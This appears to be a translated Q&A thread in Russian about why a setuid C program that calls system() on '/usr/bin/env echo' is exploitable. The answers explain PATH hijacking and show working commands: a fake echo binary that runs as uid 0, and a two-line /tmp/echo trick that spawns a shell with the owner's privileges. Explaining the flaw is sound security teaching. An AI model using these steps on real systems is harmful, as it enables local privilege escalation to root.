Подтвердить что ты не робот

Что уязвимо для этого кода на C?

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

Как я понимаю, приведенный выше код позволяет выполнить произвольный код (или программу) - что делает это уязвимым, и как это можно использовать?

4b9b3361

Ответ 1

Вы можете переопределить переменную PATH, чтобы указать на каталог с вашей пользовательской версией echo, и поскольку echo выполняется с помощью env, он не рассматривается как встроенный.

Это создает уязвимость только в том случае, если код запускается как привилегированный пользователь.

В приведенном ниже примере файл v.c содержит код из вопроса.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Обратите внимание, что установка реального идентификатора пользователя, эффективного идентификатора пользователя и сохраненного идентификатора пользователя с помощью вызова setresuid() перед вызовом system() в уязвимом коде, опубликованном в вопросе, позволяет использовать уязвимость даже если только эффективный идентификатор пользователя установлен на идентификатор привилегированного пользователя, а реальный идентификатор пользователя остается непривилегированным (как, например, случай, когда бит установленного идентификатора установлен в файле, как указано выше). Без вызова setresuid() оболочка, запущенная system(), вернет reset эффективный идентификатор пользователя к реальному идентификатору пользователя, что сделает эксплойт неэффективным. Однако в случае, когда уязвимый код запускается с реальным идентификатором пользователя привилегированного пользователя, достаточно только вызова system(). Цитирование sh справочной страницы:

Если оболочка запускается с эффективным идентификатором пользователя (группы), не равным реальному пользователю (group) id, а опция -p не предоставляется, файлы запуска не являются read, функции оболочки не наследуются от среды, переменной SHELLOPTS, если она появляется в среде, игнорируется, а эффективный пользователь id установлен на реальный идентификатор пользователя. Если опция -p предоставляется при вызове, запуск поведение одинаковое, но эффективный идентификатор пользователя не является reset.

Также обратите внимание, что setresuid() не переносимо, но setuid() или setreuid() также могут использоваться для того же эффекта.

Ответ 2

ну на самом деле при вызове системной функции вы можете связываться с командой echo. например, если вы выполняете следующий код:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

вы получите оболочку с разрешением владельца файла